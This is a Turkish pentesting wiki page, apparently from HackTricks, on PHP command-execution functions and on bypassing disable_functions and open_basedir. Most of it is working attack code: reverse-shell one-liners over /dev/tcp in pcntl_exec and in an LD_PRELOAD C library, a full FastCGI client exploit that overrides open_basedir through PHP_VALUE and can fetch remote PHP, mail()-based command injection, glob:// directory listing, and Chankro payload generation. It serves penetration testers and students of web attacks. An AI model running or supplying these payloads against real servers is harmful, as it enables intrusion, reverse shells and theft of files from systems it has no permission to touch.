# PHP - Kullanışlı Fonksiyonlar & disable_functions/open_basedir atlatma {{#include ../../../../banners/hacktricks-training.md}} ## PHP Komut & Kod Çalıştırma ### PHP Komut Çalıştırma **Not:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell, bazıları devre dışı bırakılmışsa, aşağıdaki fonksiyonu **otomatik olarak** kontrol edebilir ve atlatabilir. **exec** - Komutların çıktısının son satırını döndürür ```bash echo exec("uname -a"); ``` **passthru** - Komutların çıktısını doğrudan tarayıcıya iletir ```bash echo passthru("uname -a"); ``` **system** - Komutların çıktısını doğrudan tarayıcıya iletir ve son satırı döndürür. ```bash echo system("uname -a"); ``` **shell_exec** - Komutların çıktısını döndürür ```bash echo shell_exec("uname -a"); ``` \`\` (ters tırnaklar) - shell_exec() ile aynı ```bash echo `uname -a` ``` **popen** - Bir komutun işlemi için okuma veya yazma borusu açar ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` **proc_open** - popen() ile benzer ancak daha fazla kontrol sağlar ```bash proc_close(proc_open("uname -a",array(),$something)); ``` **preg_replace** ```php ``` **pcntl_exec** - Bir programı çalıştırır (modern ve o kadar modern olmayan PHP'de bu fonksiyonu kullanmak için varsayılan olarak `pcntl.so` modülünü yüklemeniz gerekir) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` **mail / mb_send_mail** - Bu fonksiyon e-posta göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemdeki `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` **dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeye çalışmadan önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyun, bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md). ### PHP Kod Çalıştırma Eval dışında, PHP kodunu çalıştırmanın başka yolları da vardır: include/require, Yerel Dosya Dahil Etme ve Uzak Dosya Dahil Etme zafiyetleri şeklinde uzaktan kod çalıştırmak için kullanılabilir. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() assert() // identical to eval() preg_replace('/.*/e',...) // e does an eval() on the match create_function() // Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); // or $func->invokeArgs(array()); // or serialize/unserialize function ``` ## disable_functions & open_basedir **Devre dışı bırakılan fonksiyonlar**, PHP'de `.ini` dosyalarında yapılandırılabilen bir ayardır ve belirtilen **fonksiyonların** kullanımını **yasaklar**. **Open basedir**, PHP'ye erişebileceği klasörü gösteren ayardır.\ PHP ayarı genellikle _/etc/php7/conf.d_ veya benzeri bir yolda yapılandırılır. Her iki yapılandırma da **`phpinfo()`** çıktısında görülebilir: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../images/image (493).png>) ## open_basedir Bypass `open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma işlemi **yapamazsınız**, ayrıca diğer dizinleri **listeleyemezsiniz**.\ Ancak, bir şekilde rastgele PHP kodu çalıştırabiliyorsanız, kısıtlamayı **aşmak** için aşağıdaki **kod** parçalarını **deneyebilirsiniz**. ### glob:// bypass ile dizinleri listeleme Bu ilk örnekte, bazı yol aşımının kullanıldığı `glob://` protokolü kullanılmaktadır: ```php __toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` **Not1**: Yolda `/e??/*` kullanarak `/etc/*` ve diğer klasörleri listeleyebilirsiniz.\ **Not2**: Kodun bir kısmının kopyalandığı gibi görünüyor, ama bu aslında gereklidir!\ **Not3**: Bu örnek yalnızca klasörleri listelemek için yararlıdır, dosyaları okumak için değil. ### Tam open_basedir bypass FastCGI'yi istismar etme Eğer **PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız** bu sayfanın [ilk bölümünü](disable_functions-bypass-php-fpm-fastcgi.md) okuyabilirsiniz.\ Eğer **`php-fpm`** yapılandırılmışsa, **open_basedir**'i tamamen atlatmak için bunu istismar edebilirsiniz: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) İlk yapmanız gereken şey, **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\ [Buradan](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) kod. ```php * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> "; // php payload -- Doesnt do anything $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` Bu scriptler, **unix socket of php-fpm** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\ Gönderdiğiniz PHP kodunu **cmd** parametresi içinde çalıştırmak için `eval`'in nasıl kullanıldığına dikkat edin.\ Ayrıca **yorum satırı 324**'e de dikkat edin, bunu yorumdan çıkarabilir ve **payload otomatik olarak verilen URL'ye bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\ Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` adresine erişerek `/etc/passwd` dosyasının içeriğini alabilirsiniz. > [!WARNING] > `open_basedir` yapılandırmasını geçersiz kıldığımız gibi **`disable_functions`**'ı da geçersiz kılabileceğinizi düşünebilirsiniz. Deneyin, ama çalışmayacak, görünüşe göre **`disable_functions` yalnızca bir `.ini` php** yapılandırma dosyasında yapılandırılabilir ve PHP_VALUE kullanarak yaptığınız değişiklikler bu özel ayar üzerinde etkili olmayacaktır. ## disable_functions Bypass Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermediğini** keşfetmek yaygındır **`disable_functions`** içinde.\ Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabilirseniz) ### Otomatik bypass keşfi [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilir ve hangi fonksiyonu (varsa) **`disable_functions`**'ı **bypass** etmek için kullanabileceğinizi gösterecektir. ### Diğer sistem fonksiyonlarını kullanarak bypass Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı olmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz. ### LD_PRELOAD bypass PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, bunları `LD_PRELOAD` ortam değişkenini kullanarak, herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemek için kötüye kullanabilirsiniz. #### LD_PRELOAD ile disable_functions'ı bypass etmek için kullanılabilecek fonksiyonlar - **`mail`** - **`mb_send_mail`**: `php-mbstring` modülü yüklüyse etkilidir. - **`imap_mail`**: `php-imap` modülü mevcutsa çalışır. - **`libvirt_connect`**: `php-libvirt-php` modülünü gerektirir. - **`gnupg_init`**: `php-gnupg` modülü yüklüyse kullanılabilir. - **`new imagick()`**: Bu sınıf kısıtlamaları aşmak için kötüye kullanılabilir. Ayrıntılı istismar teknikleri kapsamlı bir [**yazıda burada**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) bulunabilir. Bu fonksiyonları bulmak için kullanılan fuzzing scriptini [**burada bulabilirsiniz**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py). `LD_PRELOAD` ortam değişkenini kötüye kullanmak için derleyebileceğiniz bir kütüphane: ```php #include #include #include #include uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` #### Chankro Kullanarak Bypass Bu yanlış yapılandırmayı istismar etmek için [**Chankro**](https://github.com/TarlogicSecurity/Chankro) kullanabilirsiniz. Bu, yüklemeniz ve çalıştırmanız gereken **bir PHP istismarı** oluşturacak bir araçtır (web üzerinden erişin).\ **Chankro**, kurbanın diskinin içine **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır. **Chankro**'yu kullanmak için `mail` ve `putenv` **`disable_functions` listesinde yer almamalıdır**.\ Aşağıdaki örnekte, **arch 64** için **bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz; bu, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek, chankro **kütüphane ve yükü** _/tmp_ dizinine yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır): {{#tabs}} {{#tab name="shell.sh"}} ```php #!/bin/sh whoami > /tmp/chankro_shell.out ``` {{#endtab}} {{#tab name="Chankro"}} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {{#endtab}} {{#endtabs}} Eğer **mail** fonksiyonunun devre dışı bırakılmış fonksiyonlar tarafından engellendiğini bulursanız, **mb_send_mail** fonksiyonunu kullanmaya devam edebilirsiniz.\ Bu teknik ve Chankro hakkında daha fazla bilgi burada: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### PHP yetenekleri kullanarak "Bypass" **PHP** kullanarak **dosyaları okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz.**\ Hatta **veritabanlarını dökebilirsiniz.**\ Belki **PHP** kullanarak kutuyu **numaralandırarak** ayrıcalıkları artırmanın/komutları çalıştırmanın bir yolunu bulabilirsiniz (örneğin, bazı özel ssh anahtarlarını okuyarak). Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum (çoğu webshell'in de bu seçenekleri sunduğunu unutmayın): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Modüllere/Sürüme bağlı bypass'lar Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar ediyorsanız, disable_functions'ı atlatmanın birkaç yolu vardır: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**FFI - Yabancı Fonksiyon Arayüzü etkinleştirilerek Bypass**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) - [**mem üzerinden Bypass**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Uzantısı Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**dl fonksiyonu**](disable_functions-bypass-dl-function.md) - [**Bu istismar**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - PoC'de küçük değişikliklerle istismar edilebilir - 7.0 - bugüne kadar tüm sürümler - 7.1 - bugüne kadar tüm sürümler - 7.2 - bugüne kadar tüm sürümler - 7.3 - bugüne kadar tüm sürümler - 7.4 - bugüne kadar tüm sürümler - 8.0 - bugüne kadar tüm sürümler - [**7.0'dan 8.0'a istismar (sadece Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) - [**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md) - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - [**PHP 5.2 FOpen istismarı**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Otomatik Araç** Aşağıdaki script burada bahsedilen bazı yöntemleri dener:\ [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) ## Diğer İlginç PHP fonksiyonları ### Geri çağırmaları kabul eden fonksiyonlar listesi Bu fonksiyonlar, saldırganın seçimine göre bir fonksiyonu çağırmak için kullanılabilecek bir dize parametresi kabul eder. Fonksiyona bağlı olarak, saldırganın bir parametre geçirme yeteneği olabilir veya olmayabilir. Bu durumda, phpinfo() gibi bir Bilgi Sızdırma fonksiyonu kullanılabilir. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) [Buradan sonraki listeleri takip edin](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` ### Bilgi Sızdırma Bu fonksiyon çağrılarının çoğu sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu bir zafiyet olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zafiyettir. ```php phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid ``` ### Diğer ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. putenv ini_set mail // has CRLF injection in the 3rd parameter, opens the door for spam. header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid ``` ### Dosya Sistemi Fonksiyonları RATS'a göre php'deki tüm dosya sistemi fonksiyonları kötü. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı. Örneğin, allow_url_fopen=On ise bir url dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, bir PHP betiğini sistemin herhangi bir yerine yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir hosta saldırı yönlendirmek için kötüye kullanılabilir. **Açık dosya sistemi işleyici** ```php fopen tmpfile bzopen gzopen SplFileObject->__construct ``` **Dosya sistemine yazma (kısmen okuma ile kombinasyon halinde)** ```php chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng // 2nd parameter is a path. imagewbmp // 2nd parameter is a path. image2wbmp // 2nd parameter is a path. imagejpeg // 2nd parameter is a path. imagexbm // 2nd parameter is a path. imagegif // 2nd parameter is a path. imagegd // 2nd parameter is a path. imagegd2 // 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir ``` **Dosya sisteminden oku** ```php file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags ``` {{#include ../../../../banners/hacktricks-training.md}}